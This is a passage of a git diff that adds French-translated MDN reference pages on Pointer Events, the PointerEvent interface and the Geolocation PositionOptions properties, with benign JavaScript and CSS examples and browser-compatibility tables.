+<h2 id="Capture_du_pointeur">Capture du pointeur</h2>
+
+<p>Pointer capture allows events for a particular {{domxref("PointerEvent","pointer event")}} to be re-targeted to a particular element instead of the normal <a href="#term_hit_test">hit test</a> at a pointer's location. This can be used to ensure that an element continues to receive pointer events even if the pointer device's contact moves off the element (for example by scrolling).</p>
+
+<p>The following example shows pointer capture being set on an element.</p>
+
+<pre class="brush: js notranslate">&lt;html&gt;
+&lt;script&gt;
+function downHandler(ev) {
+ var el=document.getElementById("target");
+ //Element 'target' will receive/capture further events
+ el.setPointerCapture(ev.pointerId);
+}
+function init() {
+ var el=document.getElementById("target");
+ el.onpointerdown = downHandler;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>The following example shows a pointer capture being released (when a {{event("pointercancel")}} event occurs. The browser does this automatically when a {{event("pointerup")}} or {{event("pointercancel")}} event occurs.</p>
+
+<pre class="brush: js notranslate">&lt;html&gt;
+&lt;script&gt;
+function downHandler(ev) {
+ var el=document.getElementById("target");
+ // Element "target" will receive/capture further events
+ el.setPointerCapture(ev.pointerId);
+}
+function cancelHandler(ev) {
+ var el=document.getElementById("target");
+ // Release the pointer capture
+ el.releasePointerCapture(ev.pointerId);
+}
+function init() {
+ var el=document.getElementById("target");
+ // Register pointerdown and pointercancel handlers
+ el.onpointerdown = downHandler;
+ el.onpointercancel = cancelHandler;
+}
+&lt;/script&gt;
+&lt;body onload="init();"&gt;
+&lt;div id="target"&gt; Touch me ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Propriété_touch-action">Propriété touch-action</h2>
+
+<p>The {{cssxref("touch-action")}} CSS property is used to specifiy whether or not the browser should apply its default (<em>native</em>) touch behavior (such as zooming or panning) to a region. This property may be applied to all elements except: non-replaced inline elements, table rows, row groups, table columns, and column groups.</p>
+
+<p>A value of <code>auto</code> means the browser is free to apply its default touch behavior (to the specified region) and the value of <code>none</code> disables the browser's default touch behavior for the region. The values <code>pan-x</code> and <code>pan-y</code>, mean that touches that begin on the specified region are only for horizontal and vertical scrolling, respectively. The value <code>manipulation</code> means the browser may consider touches that begin on the element are only for scrolling and zooming.</p>
+
+<p>In the following example, the browser's default touch behavior is disabled for the <code>div</code> element.</p>
+
+<pre class="brush: html notranslate">&lt;html&gt;
+&lt;body&gt;
+ &lt;div style="touch-action:none;"&gt;Can't touch this ... &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>In the following example, default touch behavior is disabled for some <code>button</code> elements.</p>
+
+<pre class="brush: css notranslate">button#tiny {
+  touch-action: none;
+}
+</pre>
+
+<p>In the following example, when the <code>target</code> element is touched, it will only pan in the horizontal direction.</p>
+
+<pre class="brush: css notranslate">#target {
+  touch-action: pan-x;
+}
+</pre>
+
+<h2 id="Compatibilité_avec_les_événements_de_souris">Compatibilité avec les événements de souris</h2>
+
+<p>Although the pointer event interfaces enable applications to create enhanced user experiences on pointer enabled devices, the reality is the vast majority of today's web content is designed to only work with mouse input. Consequently, even if a browser supports pointer events, the browser must still process mouse events so content that assumes mouse-only input will work as is without direct modification. Ideally, a pointer enabled application does not need to explicitly handle mouse input. However, because the browser must process mouse events, there may be some compatibility issues that need to be handled. This section contains information about pointer event and mouse event interaction and the ramifications for application developers.</p>
+
+<p>The browser <em>may map generic pointer input to mouse events for compatibility with mouse-based content</em>. This mapping of events is called <em>compatibility mouse events</em>. Authors can prevent the production of certain compatibility mouse events by canceling the pointerdown event but note that:</p>
+
+<ul>
+ <li>Mouse events can only be prevented when the pointer is down.</li>
+ <li>Hovering pointers (e.g. a mouse with no buttons pressed) cannot have their mouse events prevented.</li>
+ <li>The mouseover, mouseout, mouseenter, and mouseleave events are never prevented (even if the pointer is down).</li>
+</ul>
+
+<h2 id="Bonnes_pratiques">Bonnes pratiques</h2>
+
+<p>Here are some <em>best practices</em> to consider when using pointer events:</p>
+
+<ul>
+ <li>Minimize the amount of work done that is done in the event handlers.</li>
+ <li>Add the event handlers to a specific target element (rather than the entire document or nodes higher up in the document tree).</li>
+ <li>The target element (node) should be large enough to accommodate the largest contact surface area (typically a finger touch). If the target area is too small, touching it could result in firing other events for adjacent elements.</li>
+</ul>
+
+<h2 id="Implémentation_et_déploiement">Implémentation et déploiement</h2>
+
+<p>The <a href="/en-US/docs/Web/API/PointerEvents#Browser_compatibility">pointer events browser compatibility data</a> indicates pointer event support among desktop and mobile browsers is relatively low, although additional implementations are in progress.</p>
+
+<p>Some new value have been proposed for the {{cssxref("touch-action", "CSS touch-action")}} property as part of <a href="https://w3c.github.io/pointerevents/">Pointer Events Level 2</a> specification but currently those new values have no implementation support.</p>
+
+<h2 id="Démos_and_exemples">Démos and exemples</h2>
+
+<ul>
+ <li><a href="http://patrickhlauke.github.io/touch/">Touch/pointer tests and demos (by Patrick H. Lauke)</a></li>
+</ul>
+
+<h2 id="Communauté">Communauté</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/pointerevents">Pointer Events Working Group</a></li>
+ <li><a href="http://lists.w3.org/Archives/Public/public-pointer-events/">Mail list</a></li>
+ <li><a href="irc://irc.w3.org:6667/">W3C #pointerevents IRC channel</a></li>
+</ul>
+
+<h2 id="Sujets_et_ressources_liés">Sujets et ressources liés</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/touch-events/">Touch Events Standard</a></li>
+</ul>
diff --git a/files/fr/web/api/pointerevent/index.html b/files/fr/web/api/pointerevent/index.html
new file mode 100644
index 0000000000..3ca9b1d943
--- /dev/null
+++ b/files/fr/web/api/pointerevent/index.html
@@ -0,0 +1,144 @@
+---
+title: PointerEvent
+slug: Web/API/PointerEvent
+translation_of: Web/API/PointerEvent
+---
+<p>{{ APIRef("Pointer Events") }}</p>
+
+<p>L'interface <strong><code>PointerEvent</code></strong> représente les données de l'état d'un événément du DOM produit par un pointeur, tels que la géométrie du point de contact, le type d'appareil qui a généré l'événément, l'intensité de pression qui a été appliquée au contact de la surface, etc.</p>
+
+<p>Un <em>pointeur</em> est une représentation agnostique de tout appareil de saisie (tels qu'une souris, un stylet, ou un point de contact sur une surface tactile). Le pointeur peut cibler des coordonnées spécifiques (ou une collection de coordonnées) sur la surface de contact telle qu'un écran.</p>
+
+<p>Le <em>test de ciblage</em> d'un pointeur est le processus qu'un navigateur utilise pour déterminer l'élément pour un événément de pointeur. Typiquement, cela est déterminé en considérant la position du pointeur ainsi que l'agencement visuel des éléments dans un document sur l'écran.</p>
+
+<h2 id="Constructeurs">Constructeurs</h2>
+
+<dl>
+ <dt>{{domxref("PointerEvent.PointerEvent", "PointerEvent()")}}</dt>
+ <dd>Crée un PointerEvent synthétique et anonyme.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite des proprétés de {{domxref("MouseEvent")}} et {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref('PointerEvent.pointerId')}} {{readonlyInline}}</dt>
+ <dd>Un identifiant unique pour le pointeur ayant provoqué l'événément.</dd>
+ <dt>{{ domxref('PointerEvent.width')}} {{readonlyInline}}</dt>
+ <dd>La largeur (magnitude sur l'axe X), en pixels CSS, de la géométrie de contact du pointeur.</dd>
+ <dt>{{ domxref('PointerEvent.height')}} {{readonlyInline}}</dt>
+ <dd>La hauteur (magniture sur l'axe Y), en pixels CSS, de la géométrie de contact du pointeur.</dd>
+ <dt>{{ domxref('PointerEvent.pressure')}} {{readonlyInline}}</dt>
+ <dd>La pressure normalisée de l'influx du pointeur dans un intervalle compris entre 0 et 1, où 0 et 1 représentent respectivement la pression minimale et maximale que l'appareil est capable de détecter.</dd>
+ <dt>{{ domxref('PointerEvent.tangentialPressure')}} {{readonlyInline}}</dt>
+ <dd>La pression tangentielle normalisée d'un influx de pointeur (également nommée compression ou contrainte cylindrique), où 0 et 1 représentent respectivement la pression minimale et maximale que l'appareil est capable de détecter.</dd>
+ <dt>{{ domxref('PointerEvent.tiltX')}} {{readonlyInline}}</dt>
+ <dd>Le plan de l'angle (en dégrés, dans un intervalle compris entre -90 et 90) entre le plan Y-Z et le plan contenant à la fois l'axe du transducteur (ex. : un crayon stylet) et l'axe Y.</dd>
+ <dt>{{ domxref('PointerEvent.tiltY')}} {{readonlyInline}}</dt>
+ <dd>Le plan de l'angle (en dégrés, dans un intervalle compris entre -90 et 90) entre le plan X-Z et le plan contenant à la fois l'axe du transducteur (ex. : un crayon stylet) et l'axe X.</dd>
+ <dt>{{ domxref('PointerEvent.twist')}} {{readonlyInline}}</dt>
+ <dd>La rotation en degrés et dans le sens des aiguilles d'une montre, d'un transducteur (ex. : crayon stylet) autour de axe principal, avec une valeur comprise dans un intervalle entre 0 et 359.</dd>
+ <dt>{{ domxref('PointerEvent.pointerType')}} {{readonlyInline}}</dt>
+ <dd>Indique le type d'appareil qui a provoqué l'événément (souris, stylet, touché, etc.)</dd>
+ <dt>{{ domxref('PointerEvent.isPrimary')}} {{readonlyInline}}</dt>
+ <dd>Indique si le pointeur est le principal appareil de ce type.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{ domxref('PointerEvent.getCoalescedEvents()')}} {{deprecated_inline}}</dt>
+ <dd>Retourne une séquence de toutes les instances de <code>PointerEvent</code> qui ont été dirigées vers l'événément {{event("pointermove")}} envoyé.</dd>
+</dl>
+
+<h2 id="Types_d'événéments_de_pointeur">Types d'événéments de pointeur</h2>
+
+<p>L'interface <code>PointerEvent</code> a plusieurs types d'événéments. Pour déterminer quel événément s'est produit, regardez la propriété {{ domxref("Event.type", "type") }} de l'événément.</p>
+
+<div class="note"><strong>Note:</strong> Il est important de remarquer que dans beaucoup de cas, à la fois les événéments du pointeur et de la souris sont envoyés (afin de laisser la logique interagir avec l'utilisateur même lorsqu'elle n'est pas spécifique à un type de pointeur) . Si vous utilisez les événéments de pointeur, vous devez exécuter {{ domxref("event.preventDefault()") }} afin d'empêcher l'événément de la souris d'être également envoyée.</div>
+
+<dl>
+ <dt>{{event('pointerover')}}</dt>
+ <dd>Cet événément est déclenché lorsqu'un appareil de pointage est déplacé vers la zone du test de ciblage d'un élément.</dd>
+ <dt>{{event('pointerenter')}}</dt>
+ <dd>Cet événément est déclenché lorsqu'un appareil de pointage est déplacé vers la zone du test de ciblage d'un élément ou l'un de ses descendants, ce qui inclut un événément de pointage vers le bas d'un appareil qui ne propose pas de fonctionnalité de survol (voir pointage vers le bas). Ce type d'événément est similaire à un pointage par dessus, mais se différencie en ne faisant pas circuler l'événément.</dd>
+ <dt>{{event('pointerdown')}}</dt>
+ <dd>L'événément est déclenché lorsqu'un pointeur devient <em>actif</em>. Pour une souris, il est déclenché lorsque l'appareil passe d'aucun bouton pressé à au moins un bouton pressé. Pour un touché, il est déclenché lorsqu'un contact physique est effectué avec le numériseur. Pour un stylet, il est déclenché au contact de ce dernier avec le numériseur.</dd>
+ <dt>{{event('pointermove')}}</dt>
+ <dd>Cet événément est déclenché lorsqu'un pointeur change de coordonnées.</dd>
+ <dt>{{event('pointerup')}}</dt>
+ <dd>Cet événement est déclenché lorsqu'un pointeur n'est plus <em>actif</em>.</dd>
+ <dt>{{event('pointercancel')}}</dt>
+ <dd>Un navigateur déclenche cet événément s'il conclut que le pointeur ne sera plus capable de générer des événéments (par exemple, l'appareil concerné a été désactivé).</dd>
+ <dt>{{event('pointerout')}}</dt>
+ <dd>Cet événément est déclenché pour plusieurs raisons qui incluent : l'appareil de pointage est déplacé en dehors de la zone du test de ciblage d'un élément; déclencher l'événément de pointage vers le haut pour un appareil qui ne supporte pas le survol (voir pointage vers le haut); après avoir déclenché un événément de pointage annulé (voir pointage annulé); lorsqu'un stylet quitte la zone de portée pour être détectée au survol par le numériseur.</dd>
+ <dt>{{event('pointerleave')}}</dt>
+ <dd>Cet événément est déclenché lorsqu'un appareil de pointage est déplacé en dehors de la zone de ciblage d'un élément. Pour les appareils avec un stylet, cet événément est déclenché lorsque le stylet quitte la zone de portée pour être détectée au survol par le numériseur.</dd>
+ <dt>{{event('gotpointercapture')}}</dt>
+ <dd>Cet événément est déclenché lorsqu'un élément est capturé par un pointeur.</dd>
+ <dt>{{event('lostpointercapture')}}</dt>
+ <dd>Cet événément est déclenché après qu'un pointeur ait relâché sa capture.</dd>
+</dl>
+
+<h2 id="GlobalEventHandlers">GlobalEventHandlers</h2>
+
+<dl>
+ <dt>{{ domxref('GlobalEventHandlers.onpointerover') }}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','global event handler')}} pour l'événement {{event('pointerover')}}.</dd>
+ <dt>{{ domxref('GlobalEventHandlers.onpointerenter') }}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','global event handler')}} pour l'événement {{event('pointerenter')}}.</dd>
+ <dt>{{ domxref('GlobalEventHandlers.onpointerdown') }}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','global event handler')}} pour l'événement {{event('pointerdown')}}.</dd>
+ <dt>{{ domxref('GlobalEventHandlers.onpointermove') }}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','global event handler')}} pour l'événement {{event('pointermove')}}.</dd>
+ <dt>{{ domxref('GlobalEventHandlers.onpointerup') }}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','global event handler')}} pour l'événement {{event('pointerup')}}.</dd>
+ <dt>{{ domxref('GlobalEventHandlers.onpointercancel') }}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','global event handler')}} pour l'événement {{event('pointercancel')}}.</dd>
+ <dt>{{ domxref('GlobalEventHandlers.onpointerout') }}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','global event handler')}} pour l'événement {{event('pointerout')}}.</dd>
+ <dt>{{ domxref('GlobalEventHandlers.onpointerleave') }}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','global event handler')}} pour l'événement {{event('pointerleave')}}.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Un exemple de chaque propriété, type d'événément, et un gestionnaire d'événéments global sont inclus dans leur page respective de référence.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2','#pointerevent-interface', 'PointerEvent')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Version non-stable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#pointerevent-interface', 'PointerEvent')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+
+
+<p>{{Compat("api.PointerEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("Touch_events","Touch Events") }}</li>
+ <li>{{ domxref("GestureEvent") }}</li>
+ <li>{{ domxref("MSGestureEvent") }}</li>
+ <li>{{cssxref("touch-action")}}</li>
+</ul>
diff --git a/files/fr/web/api/positionoptions/enablehighaccuracy/index.html b/files/fr/web/api/positionoptions/enablehighaccuracy/index.html
new file mode 100644
index 0000000000..3775dc7222
--- /dev/null
+++ b/files/fr/web/api/positionoptions/enablehighaccuracy/index.html
@@ -0,0 +1,116 @@
+---
+title: PositionOptions.enableHighAccuracy
+slug: Web/API/PositionOptions/enableHighAccuracy
+translation_of: Web/API/PositionOptions/enableHighAccuracy
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>la propriété <code><strong>PositionOptions.enableHighAccuracy</strong></code> est un {{domxref("Boolean")}} qui indique que l'application souhaite recevoir les meilleurs résultats possibles. Si <code>true</code> si l'appareil est capable de fournir une position plus précise, il le fera. Notez que cela peut entraîner des temps de réponse plus lents ou une augmentation de la consommation d'énergie (avec une puce GPS sur un appareil mobile par exemple). D'un autre côté, si <code>false</code> (la valeur par défaut), le périphérique peut prendre la liberté d'économiser des ressources en répondant plus rapidement et/ou en utilisant moins d'énergie.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>positionOptions</var>.enableHighAccuracy = <var>booleanValue</var>
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#enablehighaccuracy', 'PositionOptions.enableHighAccuracy')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>{{CompatNo}}</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>The {{domxref("PositionOptions")}} interface it belongs to.</li>
+</ul>
diff --git a/files/fr/web/api/positionoptions/index.html b/files/fr/web/api/positionoptions/index.html
new file mode 100644
index 0000000000..39f88afc12
--- /dev/null
+++ b/files/fr/web/api/positionoptions/index.html
@@ -0,0 +1,128 @@
+---
+title: PositionOptions
+slug: Web/API/PositionOptions
+translation_of: Web/API/PositionOptions
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>L'interface <strong><code>PositionOptions</code></strong> décrit un objet, contenant des propriétés, à passer en paramétre de {{domxref("Geolocation.getCurrentPosition()")}} et {{domxref("Geolocation.watchPosition()")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>L'interface <code>PositionOptions</code> n'hérite d'aucune propriété</em>.</p>
+
+<dl>
+ <dt>{{domxref("PositionOptions.enableHighAccuracy")}} {{securecontext_inline}}</dt>
+ <dd>C'est un {{domxref("Boolean")}} qui indique que l'application souhaite recevoir les meilleurs résultats possibles. Si la valeur est <code>true</code> et si l'appareil peut fournir une position plus précise, il le fera. Notez que cela peut entraîner des temps de réponse plus lents ou une augmentation de la consommation d'énergie (avec une puce GPS sur un appareil mobile par exemple). D'un autre côté, si la valeur est <code>false</code>, l'appareil peut prendre la liberté d'économiser des ressources en répondant plus rapidement et/ou en utilisant moins d'énergie. Valeur par défaut: <code>false</code>.</dd>
+ <dt>{{domxref("PositionOptions.timeout")}} {{securecontext_inline}}</dt>
+ <dd>C'est une valeur positive de type <code>long</code> représentant la durée maximale (en millisecondes) que le périphérique est autorisé à prendre pour renvoyer une position. La valeur par défaut est <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, ce qui signifie que <code>getCurrentPosition()</code> ne retournera pas tant que la position n'est pas disponible.</dd>
+ <dt>{{domxref("PositionOptions.maximumAge")}} {{securecontext_inline}}</dt>
+ <dd>C'est une valeur positive de type <code>long</code> l'âge maximal en millisecondes d'une position en cache possible qu'il est acceptable de retourner. Si initialisé à <code>0</code>,  cela signifie que le périphérique ne peut pas utiliser une position mise en cache et doit tenter de récupérer la position actuelle réelle. Si initialisé à <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> l'appareil doit retourner une position mise en cache indépendamment de son âge. Valeur par défaut: 0.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>L'interface <code>PositionOptions</code> n'implémente ni n'hérite d'aucune méthode.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Specification initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>{{CompatNo}}</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>The {{domxref("Geolocation")}} interface that uses it.</li>
+</ul>
diff --git a/files/fr/web/api/positionoptions/maximumage/index.html b/files/fr/web/api/positionoptions/maximumage/index.html
new file mode 100644
index 0000000000..e1eee43973
--- /dev/null
+++ b/files/fr/web/api/positionoptions/maximumage/index.html
@@ -0,0 +1,116 @@
+---
+title: PositionOptions.maximumAge
+slug: Web/API/PositionOptions/maximumAge
+translation_of: Web/API/PositionOptions/maximumAge
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>La propriété <code><strong>PositionOptions.maximumAge</strong></code> est de type <code>long</code> positif indiquant l'âge maximal en millisecondes d'une position en cache possible qu'il est acceptable de renvoyer. Si la valeur est <code>0</code>, cela signifie que le périphérique ne peut pas utiliser une position mise en cache et doit tenter de récupérer la position actuelle réelle. Si la valeur est <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> l'appareil doit renvoyer une position mise en cache indépendamment de son âge.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>positionOptions</var>.maximumAge = <var>timeLength</var>
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#maximumage', 'PositionOptions.maximumAge')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Removed in 15.0<br>
+    Reintroduced in 16.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>{{CompatNo}}</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Using geolocation</a></li>
+ <li>The {{domxref("PositionOptions")}} interface it belongs to.</li>
+</ul>
diff --git a/files/fr/web/api/positionoptions/timeout/index.html b/files/fr/web/api/positionoptions/timeout/index.html
new file mode 100644
index 0000000000..e0f9e323dd
--- /dev/null
+++ b/files/fr/web/api/positionoptions/timeout/index.html
@@ -0,0 +1,45 @@
+---
+title: PositionOptions.timeout
+slug: Web/API/PositionOptions/timeout
+translation_of: Web/API/PositionOptions/timeout
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>La propriété <code><strong>PositionOptions.timeout</strong></code> est de type <code>long</code> positif représentant la durée maximale (en millisecondes) que le périphérique est autorisé à prendre pour renvoyer une position. La valeur par défaut est <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, ce qui signifie que <code>getCurrentPosition()</code> ne retournera rien tant que la position n'est pas disponible.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>positionOptions</var>.timeout = <var>timeLength</var>
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#dom-positionoptions-timeout', 'PositionOptions.timeout')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
